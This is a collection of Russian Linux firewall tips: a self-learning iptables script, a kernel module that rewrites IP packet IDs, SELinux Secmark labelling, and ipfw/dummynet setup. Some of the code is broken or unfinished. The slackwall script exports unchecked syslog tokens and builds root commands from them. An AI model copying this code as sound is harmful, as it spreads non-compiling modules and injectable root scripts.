       -A OUTPUT -j FIREWALL-OUTPUT
       -A OUTPUT -j LOG --log-prefix "FIREWALL-OUTPUT "
       -A OUTPUT -j REJECT --reject-with icmp-port-unreachable
       COMMIT
       # Completed on Sat Dec  3 21:42:46 2011
    
    В трёх основных цепочках мы сначала запрещаем обрывки соединений, потом
    разрешаем уже установленные соединения, DNS и ICMP трафик.
    Далее пакеты перенаправляются в одну из трёх обучаемых цепочек:
    
       FIREWALL-INPUT
       FIREWALL-OUTPUT
       FIREWALL-FORWARD
    
    откуда пакеты, для которых не нашлось правила возвращаются в одну из основных
    цепочек и ЛОГИРУЮТСЯ а затем отклоняются ПО УМОЛЧАНИЮ.
    В цепочке FIREWALL-OUTPUT для персонального firewall лучше держать только одно
    разрешающее правило для всего трафика, иначе обучение становится трудоёмким.
    
    Таким образом пакет в обучаемой цепочке шлибо обрабатывается с соответствующим
    решением, либо попадает в LOG firewall`а и отклоняется.
    
    То есть строки о "необученных пакетах" можно регулярно считывать, парсить,
    предлагать решение пользователю и вносить новые правила в обучаемые цепочки.
    
    Например если есть некий shell сценарий обработки SYSLOG, можно выполнить от рута:
    
       tail -n 1 -f /var/log/syslog | ./slackwall
      
    В данном примере обработчик - скрипт slackwall. Вот его текст:
    
       #!/bin/sh
       while read string
       do
          echo $string | grep FIREWALL > /dev/null || continue
          for token in $string
          do
              echo $token | grep "=" > /dev/null  && export $token
              echo $token | grep "FIREWALL" > /dev/null && export CHAIN=$token
          done
    
          [ -z "$IN" ] && unset SRC
    
          [ -z "$OUT" ] && unset DST
    
          HSRC=`host $SRC 2>/dev/null | grep "domain name pointer" | awk '{ print $5 }'`
          HDST=`host $DST 2>/dev/null | grep "domain name pointer" | awk '{ print $5 }'`
          echo $PROTO | grep "^[[:digit:]]*$" > /dev/null && unset DPT
          PROTO=`cat /etc/protocols | grep "[[:space:]]$PROTO[[:space:]]" | awk '{ print $1 }'`
          HPROTO=`cat /etc/services | grep -i "[[:space:]]$DPT/$PROTO"`
          HSRC=${HSRC:-$SRC}
          HDST=${HDST:-$DST}
          HPROTO=${HPROTO:-"$DPT/$PROTO"}
    
          unset IHSRC IHDST ISRC IDST IDPT IPROTO
    
          [ -z "$HSRC" ] || IHSRC="-s $HSRC"
          [ -z "$HDST" ] || IHDST="-d $HDST"
          [ -z "$SRC" ] || ISRC="-s $SRC"
          [ -z "$DST" ] || IDST="-d $DST"
          [ -z "$DPT" ] || IDPT="--dport $DPT"
          IPROTO="-p $PROTO"
    
          cat slackwall.userules | grep "iptables -A $CHAIN $IPROTO $IHSRC $IHDST $IDPT -j" \\
              && echo Alredy && continue
    
          cat slackwall.userules | grep "iptables -A $CHAIN $IPROTO $ISRC $IHDST $IDPT -j" \\
              && echo Alredy && continue
    
          cat slackwall.userules | grep "iptables -A $CHAIN $IPROTO $IDPT -j" \\
              && echo Alredy && continue
    
          unset COMMAND
          ACTION=6
          LANG=C xmessage -buttons BlockFQDN:1,BlockIP:2,AcceptFQDN:3,AcceptIP:4,BlockPortOnAllIP:5,Skip:6 \\
           -default Skip -timeout 15 "$HSRC => $HDST ($HPROTO)"
          ACTION=$?
    
          [ $ACTION == 0 ] && continue
          [ $ACTION == 1 ] && COMMAND="iptables -A $CHAIN $IPROTO $IHSRC $IHDST $IDPT -j REJECT"
          [ $ACTION == 2 ] && COMMAND="iptables -A $CHAIN $IPROTO $ISRC $IDST $IDPT -j REJECT"
          [ $ACTION == 3 ] && COMMAND="iptables -A $CHAIN $IPROTO $IHSRC $IHDST $IDPT -j ACCEPT"
          [ $ACTION == 4 ] && COMMAND="iptables -A $CHAIN $IPROTO $ISRC $IDST $IDPT -j ACCEPT"
          [ $ACTION == 5 ] && COMMAND="iptables -A $CHAIN $IPROTO $IDPT -j REJECT"
          [ $ACTION == 6 ] && continue
    
          $COMMAND
          [ "$?" == 0  ] && echo "$COMMAND" >> slackwall.userules
       done
    
    Он парсит строки SYSLOG и рисует на экране пользователя вопрос с помощью
    xmessage и затем добавляет правило в ядро и дублирует его в сценарий
    slackwall.userules, предназначенный для начальной инициализации firewall.
    
    Вот его начальное состояние:
    
       #!/bin/bash
       modprobe nf_conntrack
       modprobe nf_conntrack_amanda
       modprobe nf_conntrack_ftp
       modprobe nf_conntrack_h323
       modprobe nf_conntrack_irc
       modprobe nf_conntrack_netbios_ns
       modprobe nf_conntrack_netlink
       modprobe nf_conntrack_pptp
       modprobe nf_conntrack_proto_dccp
       modprobe nf_conntrack_proto_gre
       modprobe nf_conntrack_proto_sctp
       modprobe nf_conntrack_proto_udplite
       modprobe nf_conntrack_sane
       modprobe nf_conntrack_sip
       modprobe nf_conntrack_tftp
       modprobe xt_conntrack
       iptables -F FIREWALL-INPUT
       iptables -F FIREWALL-FORWARD
       iptables -F FIREWALL-OUTPUT
    
       iptables -A FIREWALL-OUTPUT -j ACCEPT
    
    Для начального запуска firewall нужно выполнить:
    
    1. Разрешаем руту рисовать на X сервере (выполняется от пользователя, остальное всё от рута)
    
       $xhost +localhost
    
    2. Загружаем неизменяемую часть firewall
    
       #cat slackwall.initstate | iptables-restore
    
    3. Загружаем пользовательские правила, в дальнейшем их можно отредактировать и
    перезапустить эту комманду
    
       #./slackwall.userules
    
    4. Запускаем скрипт обучения:
    
       #tail -n 1 -f /var/log/syslog | ./slackwall
    
    У меня это работает в таком виде на Slackware 13.37, Linux psc
    2.6.37.6-tinyslack Atom(TM) CPU D510   @ 1.66GHz GenuineIntel GNU/Linux.
    Ссылка на готовый пакет: https://sourceforge.net/projects/slackwall/
    
     
    ----* Создание модуля для iptables, изменяющего ID пакета (доп. ссылка 1)   Автор: xlise  [комментарии]
     
    Данная статья основывается на материале "Разработка Match-модуля для iptables
    своими руками" (http://www.linuxjournal.com/article/7184), но код работает на
    ядрах 2.6.20+.
    
    Мне потребовалось изменить ID IP пакетов, в интернете подходящей инструкции как
    это сделать на ядре 2.6.24 я не нашел, из-за этого решил написать, как удалось
    решить задачу.
    
    Для реализации задуманного нам понадобится написать модуль ядра, который будет
    выполнять проверку и модуль расширения для iptables, который будет работать с
    модулем ядра - создавать новые цепочки,
    использующие наш модуль, выводить информацию о критерии при выводе списка
    правил на экран, а также проверять корректность передаваемых модулю параметров.
    
    Сначала создадим общий заголовочный файл ipt_ID.h:
    
       #ifndef _IPT_ID_H
       #define _IPT_ID_H
    
       enum {
           IPT_ID_RAND = 0,
           IPT_ID_INC
       };
    
       #define IPT_ID_MAXMODE  IPT_ID_INC
    
       struct ipt_ID_info {
           u_int8_t        mode;
           u_int16_t       id;
       };
    
       #endif
    
    Теперь скопируем его в исходники netfilter в директорию
    linux/netfilter_ipv4/
    
    Далее рассмотрим модуль ядра ipt_ID.с.
    
       #include <linux/module.h>
       #include <linux/skbuff.h>
       #include <linux/ip.h>
       #include <net/checksum.h>
       #include <linux/random.h>
       #include <linux/netfilter/x_tables.h>
       #include <linux/netfilter_ipv4/ipt_ID.h>
    
       MODULE_AUTHOR("Xlise <demonxlise@gmail.com>");
       MODULE_DESCRIPTION("Xtables: IPv4 ID field modification target");
       MODULE_LICENSE("GPL");
       static int count=0;
       static struct iphdr l_iph[5];
       static unsigned int
       id_tg(struct sk_buff *skb, const struct net_device *in,
            const struct net_device *out, unsigned int hooknum,
            const struct xt_target *target, const void *targinfo)
       {
             struct iphdr *iph;
             const struct ipt_ID_info *info = targinfo;
             u_int16_t new_id;
             int i=0;
             if (!skb_make_writable(skb, skb->len))
                     return NF_DROP;
    
             iph = ip_hdr(skb);
    
             switch (info->mode) {
                     case IPT_ID_RAND:
                             get_random_bytes(&info->id, sizeof(info->id));
                             new_id = info->id;
                             break;
                     case IPT_ID_INC:
    
    
       while (i<5)
       {
       if (l_iph[i].daddr == iph->daddr)
           {
           new_id = l_iph[i].id + htons(1);
           l_iph[i].id = new_id;
           }
    
       else
           {new_id = iph->id;
           l_iph[count] = *iph;
           count++;
           if (count > 4)
              count = 0;
           }
       i++;
       }
                     default:
                             new_id = iph->id;
                             break;
             }
    
             if (new_id != iph->id) {
                     csum_replace2(&iph->check, iph->id,
                                               new_id);
                     iph->id = new_id;
             }
    
             return XT_CONTINUE;
       }
    
       static bool
       id_tg_check(const char *tablename, const void *e,
                  const struct xt_target *target, void *targinfo,
                  unsigned int hook_mask)
       {
             const struct ipt_ID_info *info = targinfo;
    
             if (info->mode > IPT_ID_MAXMODE) {
                     printk(KERN_WARNING "ipt_ID: invalid or unknown Mode %u\n",
                             info->mode);
                     return false;
             }
             if (info->mode != IPT_ID_SET && info->id == 0)
                     return false;
             return true;
       }
    
       static struct xt_target id_tg_reg __read_mostly = {
             .name           = "ID",
             .family         = AF_INET,
             .target         = id_tg,
             .targetsize     = sizeof(struct ipt_ID_info),
             .table          = "mangle",
             .checkentry     = id_tg_check,
             .me             = THIS_MODULE,
       };
    
       static int __init id_tg_init(void)
       {
             return xt_register_target(&id_tg_reg);
       }
    
       static void __exit id_tg_exit(void)
       {
             xt_unregister_target(&id_tg_reg);
       }
    
       module_init(id_tg_init);
       module_exit(id_tg_exit);
    
    Напишем Makefile для нашего модуля:
    
       obj-m := ipt_ID.o
       KDIR  := /lib/modules/$(shell uname -r)/build
       PWD   := $(shell pwd)
       $(MAKE) -C $(KDIR) M=$(PWD) modules
    
    добавим модуль в ядро
    
       insmod ipt_ID.ko
    
    Для создания модуля для iptables нам потребуются исходники для iptables-1.4.4
    
    Создадим файл libipt_ID.c
    
       #include <stdio.h>
       #include <string.h>
       #include <stdlib.h>
       #include <getopt.h>
       #include <xtables.h>
       #include <linux/netfilter_ipv4/ipt_ID.h>
    
       #define IPT_ID_USED     1
    
       static void ID_help(void)
       {
           printf(
       "ID target options\n"
       "  --id-rand value              Set ID to \n"
       "  --id-inc value               Increment ID by \n");
       }
    
       static int ID_parse(int c, char **argv, int invert, unsigned int *flags,
                        const void *entry, struct xt_entry_target **target)
       {
           struct ipt_ID_info *info = (struct ipt_ID_info *) (*target)->data;
           u_int16_t value;
    
           if (*flags & IPT_ID_USED) {
                   xtables_error(PARAMETER_PROBLEM,
                                   "Can't specify ID option twice");
           }
    
           if (!optarg)
                   xtables_error(PARAMETER_PROBLEM,
                                   "ID: You must specify a value");
    
           if (xtables_check_inverse(optarg, &invert, NULL, 0))
                   xtables_error(PARAMETER_PROBLEM,
                                   "ID: unexpected `!'");
    
           if (!xtables_strtoui(optarg, NULL, &value, 0, UINT16_MAX))
                   xtables_error(PARAMETER_PROBLEM,
                              "ID: Expected value between 0 and 255");
    
           switch (c) {
    
                   case '1':
                           info->mode = IPT_ID_RAND;
                           break;
    
                   case '2':
                           if (value == 0) {
                                   xtables_error(PARAMETER_PROBLEM,
                                           "ID: increasing by 0?");
                           }
    
                           info->mode = IPT_ID_INC;
                           break;
    
                   default:
                           return 0;
    
           }
    
           info->id = value;
           *flags |= IPT_ID_USED;
    
           return 1;
       }
    
       static void ID_check(unsigned int flags)
       {
           if (!(flags & IPT_ID_USED))
                   xtables_error(PARAMETER_PROBLEM,
                                   "TTL: You must specify an action");
       }
    
       static void ID_save(const void *ip, const struct xt_entry_target *target)
       {
           const struct ipt_ID_info *info =
                   (struct ipt_ID_info *) target->data;
    
           switch (info->mode) {
                   case IPT_ID_SET:
                           printf("--id-set ");
                           break;
                   case IPT_ID_DEC:
                           printf("--id-dec ");
                           break;
    
                   case IPT_ID_INC:
                           printf("--id-inc ");
                           break;
           }
           printf("%u ", info->id);
       }
    
       static void ID_print(const void *ip, const struct xt_entry_target *target,
                         int numeric)
       {
           const struct ipt_ID_info *info =
                   (struct ipt_ID_info *) target->data;
    
           printf("ID ");
           switch (info->mode) {
                   case IPT_ID_SET:
                           printf("set to ");
                           break;
                   case IPT_ID_DEC:
                           printf("decrement by ");
                           break;
                   case IPT_ID_INC:
                           printf("increment by ");
                           break;
           }
           printf("%u ", info->id);
       }
    
       static const struct option ID_opts[] = {
           { "id-set", 1, NULL, '1' },
           { "id-inc", 1, NULL, '2' },
           { .name = NULL }
       };
    
       static struct xtables_target id_tg_reg = {
           .name           = "ID",
           .version        = XTABLES_VERSION,
           .family         = NFPROTO_IPV4,
           .size           = XT_ALIGN(sizeof(struct ipt_ID_info)),
           .userspacesize  = XT_ALIGN(sizeof(struct ipt_ID_info)),
           .help           = ID_help,
           .parse          = ID_parse,
           .final_check    = ID_check,
           .print          = ID_print,
           .save           = ID_save,
           .extra_opts     = ID_opts,
       };
    
       void _init(void)
       {
           xtables_register_target(&id_tg_reg);
       }
    
    Далее скопируем файл ipt_ID.h в iptables-1.4.4/include/linux/netfilter_ipv4/ и
    файл libipt_ID.c в iptables-1.4.4/extensions/
    теперь скомпилируем iptables и скопируем файл
    iptables-1.4.4/extensions/libipt_ID.so в /lib/xtables/
    
    Теперь можно создавать цепочки в iptables
    
    пример:
    
       iptables -t mangle -A POSTROUTING -j ID --id-rand 1
    
    Будет выдавть всем пакетам случайные ID (единица в конце ничего не обозначает
    просто я не доделал модуль)
    
       iptables -t mangle -A POSTROUTING -j ID --id-inc 1
    
    Будет пакетам направленным на один IP присваивать ID постоянно увеличивая на
    единицу, может хранить в памяти пять таких цепочек (количество цепочек можно увеличить)
    
    P.S. Если кого интересует данная тема, то я доделаю статью и допишу модуль,
    просто пока всё работает и так не хочется ничего переделывать, но если нужно сделаю.
    
     
    ----* Совместное использование SELinux и iptables (доп. ссылка 1)   [комментарии]
     
    Используя утилиту Secmark можно организовать назначение в правилах iptables
    SELinux-меток для сетевых пакетов, примерно также как осуществляется назначение
    меток для локальных системных ресурсов. Подобное может использоваться для
    предотвращения доступа сторонних процессов, не находящихся под контролем
    SELinux, к определенному классу пакетов. Например, можно указать что запросы на
    80 порт (метка http_packet_t) может отправлять только определенный web-браузер
    (или процесс, имеющий SELinux-метку http_t) и никто иной.
    
    По умолчанию все сетевые пакеты снабжаются меткой unlabeled_t, а для всех
    подконтрольных процессов активируется правило, без ограничений разрешающее
    отправку и прием пакетов:
    
       allow MYDOMAIN unlabed_t:packet { send recv };
    
    При назначении меток для трафика при помощи Secmark разрешительная политика по
    отношению к unlabed_t может привести к тому, что в случае отключения пакетного
    фильтра или в момент его перезапуска, правила блокирования будут временно проигнорированы.
    
    Попытаемся отключить автоматическую установку метки unlabeled_t, которая
    назначается в Fedora Linux через SELinux-модуль unlabelednet. Если отключить
    данный набор SELinux-политик, то все подконтрольные SELinux приложения потеряют
    возможность отправлять и принимать пакеты с меткой unlabeled_t. Чтобы вернуть
    таким программам возможность работы в сети для них необходимо подготовить
    соответствующие SELinux-правила и пометить пакеты.
    
    
    Для усиления защиты ноутбука было решено подготовить простые SELinux-политики,
    запрещающие обращаться к внешним сетевым ресурсам всем системным сервисам,
    ограниченным при помощи SELinux. Всем программ, запущенные в рамках сессии
    пользователя, разрешено обращаться как ко внутренним, так и к внешним сетевым ресурсам.
    
    Подготовлено три политики доступа к сети:
    
    internal_packet_t: Iptables помечает меткой internal_packet_t все пакеты,
    отправленные в локальную сеть или приходящие на текущую машину из локальной сети;
    
    dns_external_packet_t: Iptables помечает меткой dns_external_packet_t все
    внешние обращения к DNS-серверам (udp/tcp порт 53);
    
    external_packet_t: Iptables помечает меткой external_packet_t все остальные
    пакеты, не подпадающие под первые два правила;
    
    
    Для упрощения генерации iptables-правил для назначения SELinux-меток был создан скрипт
    secmarkgen:
    
      #!/bin/sh -e
    
      init() {
      # This just tells iptables to apply the same label to incoming packets as it did on outgoing
        echo $IPTABLES -F -t security
        echo $IPTABLES -t security -A INPUT -m state --state ESTABLISHED,RELATED -j CONNSECMARK --restore
     
      # Apply a label even if its on another port but is related
        echo $IPTABLES -t security -A OUTPUT -m state --state ESTABLISHED,RELATED -j CONNSECMARK --restore
        echo 
        return
    
      }
    
      start() {
        # Create a chain for each class of packets we have.
        echo "$IPTABLES -t security -X $NAME 2> /dev/null"
        echo "$IPTABLES -t security -N $NAME"
      }
    
      fini() {
        # Label all other packets going internally to $TYPE:$MCS
        echo $IPTABLES -t security -A $NAME -j SECMARK --selctx system_u:object_r:$TYPE:$MCS
        echo $IPTABLES -t security -A $NAME -j CONNSECMARK --save
        echo $IPTABLES -t security -A $NAME -j ACCEPT
        echo 
      }
    
      setup_network() {
    
        if [ ! -z "$PORTS" ]; then
    	if [ ! -z "$NETWORK" ]; then
                # Send packets going to an $NET httpd to the $NAME chain
    	    echo $IPTABLES -A OUTPUT -t security -p $PROTOCOL -d $NETWORK --dport $PORTS -j $NAME
    	    echo $IPTABLES -A INPUT -t security -p $PROTOCOL -d $NETWORK --sport $PORTS -j $NAME
    	else
                # Send packets going to $PORTS httpd to the $NAME chain
    	    echo $IPTABLES -A OUTPUT -t security -p $PROTOCOL --dport $PORTS -j $NAME
    	    echo $IPTABLES -A INPUT -t security -p $PROTOCOL --sport $PORTS -j $NAME
    	fi
        elif [ ! -z "$NETWORK" ]; then
                # Send packets going to $PORT httpd to the $NAME chain
    	    echo $IPTABLES -A OUTPUT -t security -d $NETWORK -j $NAME
    	    echo $IPTABLES -A INPUT -t security -s $NETWORK -j $NAME
        else
    	echo $IPTABLES -A OUTPUT -t security -j $NAME
    	echo $IPTABLES -A INPUT -t security -j $NAME
        fi
      }
      usage() {
          	 $"""
      Usage: $0 -i
      Usage: $0 -T iptablescmd -P protocol -p port[:...] -N network[,...] -t selinux_type -m MCS NAME
      Usage: $0 -f NAME
      """
      }
    
      echo
      echo "#---------------"
      echo "# $0 $*"
      echo "#---------------"
      echo
      IPTABLES=iptables
      NAME=
      PORTS=
      MCS=s0
      NETWORK=
      TYPE=client_packet_t
      PROTOCOL=tcp
      FINISH=0
      START=0
      INIT=0
    
      while getopts "sfin:p:m:t:T:P:" i; do
        case "$i" in
    	i)
    	    INIT=1
    	    ;;
    	s)
    	    START=1
    	    ;;
    	f)
    	    FINISH=1
    	    ;;
    	P)
    	    PROTOCOL=$OPTARG
    	    ;;
    	T)
    	    IPTABLES=$OPTARG
    	    ;;
    	n)
    	    export NETWORK=$OPTARG
    	    ;;
    	t)
    	    export TYPE=$OPTARG
    	    ;;
    	p)
    	    export PORTS=$OPTARG
    	    ;;
    	m)
    	    export MCS=$OPTARG
    	    ;;
    	*)
    	    usage
    	    exit 1
      esac
      done
    
      # Init does not require a NAME
      if [ $INIT == 1 ]; then 
        init
        exit $?
      fi
    
      # Move out processed options from arguments
      shift $(( OPTIND - 1 ))
    
      NAME=$1
    
      if [ -z "$NAME" -o -z "$MCS" -o -z "$NAME" ]; then
    	usage
    	exit 1
      fi
    
      if [ $START == 1 ]; then 
        start
        exit $?
      fi
    
      if [ $FINISH == 1 ]; then 
        fini
        exit $?
      fi
    
      setup_network
    
    
    Скрипт можно запускать со следующими параметрами:
    
    Инициализируем secmark-метки:
       ./secmarkgen -i
    
    Определяем имя сети (имя Iptables-цепочки):
       ./secmarkgen -s INTERNAL
    
    
    Привязываем к созданной цепочке набор правил. Синтаксис команды:
       ./secmarkgen -T iptablescmd -P protocol -p port[:...] -N network[,...] -t selinux_type -m MCS NAME
    
    Например:
    
       ./secmarkgen -n 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 INTERNAL
    
    Для завершения формирования secmark-правил и их привязки к определенной
    SELinux-метке используется команда:
    
       ./secmarkgen -f NAME
    
    Например, 
    
       ./secmarkgen -f -t internal_packet_t INTERNAL
    
    в итоге будет сгенерирован примерно такой скрипт:
    
       #--------------------
       # ./secmarkgen -i
       #--------------------
       iptables -F -t security
    
       iptables -t security -A INPUT -m state --state ESTABLISHED,RELATED -j CONNSECMARK --restore
    
       iptables -t security -A OUTPUT -m state --state ESTABLISHED,RELATED -j CONNSECMARK --restore
    
       #--------------------
       # ./secmarkgen -s INTERNAL
       #--------------------
    
       iptables -t security -X INTERNAL 2> /dev/null
    
       iptables -t security -N INTERNAL
    
       #--------------------
       # ./secmarkgen -n 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 INTERNAL
       #--------------------
    
       iptables -A OUTPUT -t security -d 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 -j INTERNAL
    
       iptables -A INPUT -t security -s 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 -j INTERNAL
    
       #--------------------
       # ./secmarkgen -f -t internal_packet_t INTERNAL
       #--------------------
    
       iptables -t security -A INTERNAL -j SECMARK --selctx system_u:object_r:internal_packet_t:s0
    
       iptables -t security -A INTERNAL -j CONNSECMARK --save
    
       iptables -t security -A INTERNAL -j ACCEPT
    
    
    Для генерации iptables-правил для локальных приложений используется примерно
    такой скрипт (secmark_test.sh):
    
       ./secmarkgen -i
       ./secmarkgen -s INTERNAL
       ./secmarkgen -n 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 INTERNAL
       ./secmarkgen -f -t internal_packet_t INTERNAL
       ./secmarkgen -s DNS
       ./secmarkgen -P udp -p 53 DNS
       ./secmarkgen -P tcp -p 53 DNS
       ./secmarkgen -f -t dns_external_packet_t DNS
       ./secmarkgen -s EXTERNAL
       ./secmarkgen EXTERNAL
       ./secmarkgen -f -t external_packet_t EXTERNAL
       ./secmarkgen -T ip6tables -i
       ./secmarkgen -T ip6tables -s INTERNAL
       ./secmarkgen -T ip6tables -n FEC0::/10,::1/128,FF::/8,FE80::/10FC00::/7 INTERNAL
       ./secmarkgen -T ip6tables -f -t internal_packet_t INTERNAL
       ./secmarkgen -T ip6tables -s EXTERNAL
       ./secmarkgen -T ip6tables EXTERNAL
       ./secmarkgen -T ip6tables -f -t external_packet_t EXTERNAL
       
    Генерируем соответствующие iptables-правила:
    
       ./secmark_test.sh > /tmp/rules
    
    Устанавливать данные iptables-правила пока рано, вначале нужно определить
    соответствующие указанным меткам (*_packet_t) SELinux-политики, без которых
    использование данных меток в iptables приведет к выводу ошибки.
    
    Формируем файл с SELinux-политиками (secmark.te):
    
       policy_module(secmark, 1.0)
    
       gen_require('
    
          attribute domain;
    
          attribute sysadm_usertype;
    
          # Domains that a staff user could transition to
    
          attribute staff_usertype;
    
          attribute telepathy_domain;
    
          type ping_t;
    
          type vpnc_t;
    
          type ssh_t;
      
          type nsplugin_t;
    
          type mozilla_plugin_t;
    
          # System domains that want to talk to the external network
    
          type ntpd_t;
    
          type sssd_t;
    
       ')
    
       # Type Definitions
    
       attribute external_packet;
    
       type internal_packet_t;
    
       corenet_packet(internal_packet_t)
    
       type dns_external_packet_t, external_packet;
    
       corenet_packet(dns_external_packet_t)
    
       type external_packet_t, external_packet;
    
       corenet_packet(external_packet_t)
    
       # Allow Rules
    
       allow domain internal_packet_t:packet { recv send };
    
       allow sysadm_usertype external_packet:packet { recv send };
    
       allow staff_usertype external_packet:packet { recv send };
    
       allow vpnc_t external_packet:packet { recv send };
    
       allow ssh_t external_packet:packet { recv send };
    
       allow mozilla_plugin_t external_packet:packet { recv send };
    
       allow nsplugin_t external_packet:packet { recv send };
    
       allow telepathy_domain external_packet:packet { recv send };
    
       allow ping_t external_packet:packet { recv send };
    
       allow ntpd_t external_packet:packet { recv send };
    
       dontaudit sssd_t dns_external_packet_t:packet { recv send };
    
    
    Рассмотрим правила более подробно.
    Строка
    
       policy_module(secmark, 1.0)
    
    определяет имя модуля с политиками. 
    
    Далее следует список требований
    
       gen_require('
    
          attribute domain;
          ... 
          type sssd_t;
       ')
    
    При написании SELinux-политики необходимо сослаться на все типы и атрибуты,
    чтобы их можно было использовать в правилах. Подобные ссылки указываются в
    блоке gen_requires. Одновременно можно определить новые типы. Если один из
    определенных в gen_requires атрибутов или типов будет не определен в других
    частях правил, SELinux не активирует созданную политику. Например, атрибут
    staff_usertype предоставляется всем обслуживающим пользовательским процессам,
    sysadm_usertype присваивается всем процессам, используемым при
    администрировании, домен telepathy_domain охватывает все приложения, связанные
    с фреймворком telepathy.
    
    Далее, в файле следуют правила определения типов и групп. Создаем атрибут
    external_packet для группировки всех  правил, связанных с внешним трафиком.
    Также создаем интерфейс corenet_packet для ассоциации набора правил с пакетами.
    
       attribute external_packet;
       type internal_packet_t;
       corenet_packet(internal_packet_t)
       type dns_external_packet_t, external_packet;
       corenet_packet(dns_external_packet_t)
       type external_packet_t, external_packet;
       corenet_packet(external_packet_t)
      
    
    Далее указано правило, разрешающее всем процессам отправку и прием внутренних
    пакетов из локальной сети:
    
       allow domain internal_packet_t:packet { recv send };
    
    Следующее правило позволяет запускаемым администраторами программам отправлять
    и принимать пакеты из внешних сетей (вместо указания  xternal_packet_t в
    правиле фигурирует атрибут external_packet, который позволяет провести действие
    сразу над группой -  external_packet_t и dns_external_packet_t):
    
    
       allow sysadm_usertype external_packet:packet { recv send };
       allow staff_usertype external_packet:packet { recv send };
       allow vpnc_t external_packet:packet { recv send };
       allow ssh_t external_packet:packet { recv send };
       allow mozilla_plugin_t external_packet:packet { recv send };
       allow nsplugin_t external_packet:packet { recv send };
       allow telepathy_domain external_packet:packet { recv send };
       allow ping_t external_packet:packet { recv send };
    
    Для сервиса ntpd заведен отдельный тип ntp_external_packet_t:
    
       allow ntpd_t external_packet:packet { recv send };
    
    Для программы sssd запрещаем общение с системами за пределами приватной сети:
    
       dontaudit sssd_t dns_external_packet_t:packet { recv send };
    
    
    
    
    Теперь приступим к компиляции, установке и применению созданной SELinux-политики:
    
    Компилируем:
    
       make -f /usr/share/selinux/devel/Makefile
    
    Устанавливаем:
    
       semodule -i secmark.pp
    
    Активируем iptables-правила:
    
       sh /tmp/rules
    
    Сохраняем внесенные изменения:
    
       service iptables save
       service ip6tables save
    
    С этого момента каждому сетевому пакету присваивается одна из трех созданных
    SELinux-меток. Для отладки следует проследить за появлением avc-сообщений и при
    необходимости добавить исключения с использованием правил allow/dontaudit или
    расследовать причину появления непрошеного трафика.
    
     
    ----* Простой интерактивный firewall в Linux   Автор: tux2002  [комментарии]
     
    Недавно на форуме спрашивали есть ли интерактивный firewall в Linux и многие
    отвечали, что нет. Ниже  простая заготовка скрипта, следящего за событиями в
    логе, в случае подозрительной активности выводящего пользователю окно с
    предложением блокирования трафика или игнорирования предупреждения.
    
    1. Первоначальные настройки iptables:
    
       #iptables-save
       # Generated by iptables-save v1.4.7 on Fri Mar 11 15:15:29 2011
       *filter
       :INPUT DROP [137:16764]
       :FORWARD DROP [0:0]
       :OUTPUT DROP [10:708]
       -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A INPUT -j LOG --log-prefix "firewall-INPUT "
       -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A FORWARD -j LOG --log-prefix "firewall-FORWARD "
       -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A OUTPUT -j LOG --log-prefix "firewall-OUTPUT "
       COMMIT
       # Completed on Fri Mar 11 15:15:29 2011
       # Generated by iptables-save v1.4.7 on Fri Mar 11 15:15:29 2011
       *nat
       :PREROUTING ACCEPT [48:6290]
       :POSTROUTING ACCEPT [0:0]
       :OUTPUT ACCEPT [6:396]
       COMMIT
       # Completed on Fri Mar 11 15:15:29 2011
    
    Правила по умолчанию в цепочках можно изменить на ваш вкус.
    Основной сценарий будем запускать от рядового пользователя, поэтому
    ему требуется право на чтение /var/log/syslog (или куда у Вас попадает журнал netfilter).
    
    Также пользователю требуется право заполнять правила netfilter командой
    iptables. У меня это сделано через /etc/sudoers
    
    2. Основной сценарий обработки журнала netfilter:
    
    interactive-firewall.sh
    
       while read line
       do
          echo $line | grep firewall > /dev/null 2>&1
          [ $? != 0 ] && continue
          for item in $line
          do
            case $item in
              firewall-*) CHAIN=$item;;
              PROTO=*) PROTO=$item;;
              SRC=*) SRC=$item;;
              SPT=*) SPT=$item;;
              DST=*) DST=$item;;
              DPT=*) DPT=$item;;
            esac
          done
          CHAIN=${CHAIN#firewall-}
          PROTO=${PROTO#PROTO=}
          PROTO=${PROTO,,}
          SRC=${SRC#SRC=}
          SPT=${SPT#SPT=}
          DST=${DST#DST=}
          DPT=${DPT#DPT=}
          ACTION=`LANG=C xmessage -buttons ACCEPT,DROP,SKIP -default SKIP    -timeout 15 -print "$SRC => $DST:$DPT"`
          ACTION=${ACTION:-"SKIP"}
          case $ACTION in
            SKIP) continue;;
            ACCEPT) sudo iptables -I $CHAIN 2 -s $SRC -d $DST -p $PROTO   --dport $DPT -j ACCEPT;;
            DROP) sudo iptables -I $CHAIN 2 -s $SRC -d $DST -p $PROTO --dport $DPT -j DROP;;
          esac
          sleep 1
    
    3. Запускаем firewall
    
       tail -f /var/log/syslog | ./interactive-firewall.sh
    
    4. Что можно улучшить.
    
    В этом варианте правила имеют вид SRC => DST:PORT -j ACTION. Исходный порт
    соединения понятно пропускается. Хорошо бы предоставлять выбор пользователю из
    нескольких вариантов, но xmessage для этого маловато. Может у кого есть
    предложения чем рисовать вопрос пользователю и обрабатывать его выбор?
    
    По желанию сценарий можно доработать и отображать в xmessage не голые цифры, а
    расшифровать их в имена компьютеров командой host, а протоколы по
    /etc/services. Кроме модификации сценария потребуется так же разрешить
    первоначально DNS трафик resolver'а в первоначальной конфигурации netfilter.
    
    5. Эта заметка ни на что не претендует, просто идея и простой набросок.
    
     
    ----* Установка ipfw и dummynet в Linux и Windows (доп. ссылка 1)   [комментарии]
     
    Не многие знают о том, что классический пакетный фильтр FreeBSD ipfw  и система
    ограничения пропускной способности dummynet были успешно портированы в Linux и Windows.
    
    В Ubuntu для сборки могут потребоваться пакеты:
    
       $ sudo apt-get install build-essential linux-source linux-headers-$(uname -r)
    
    Собираем ipfw и dummynet в Linux:
    
       $ wget http://info.iet.unipi.it/~luigi/dummynet/20100319-ipfw3.tgz
       $ tar xzf 20100319-ipfw3.tgz -C ~/src
       $ cd ~/src/ipfw3
       $ make
    
    
    
    Загружаем модуль Linux-ядра:
    
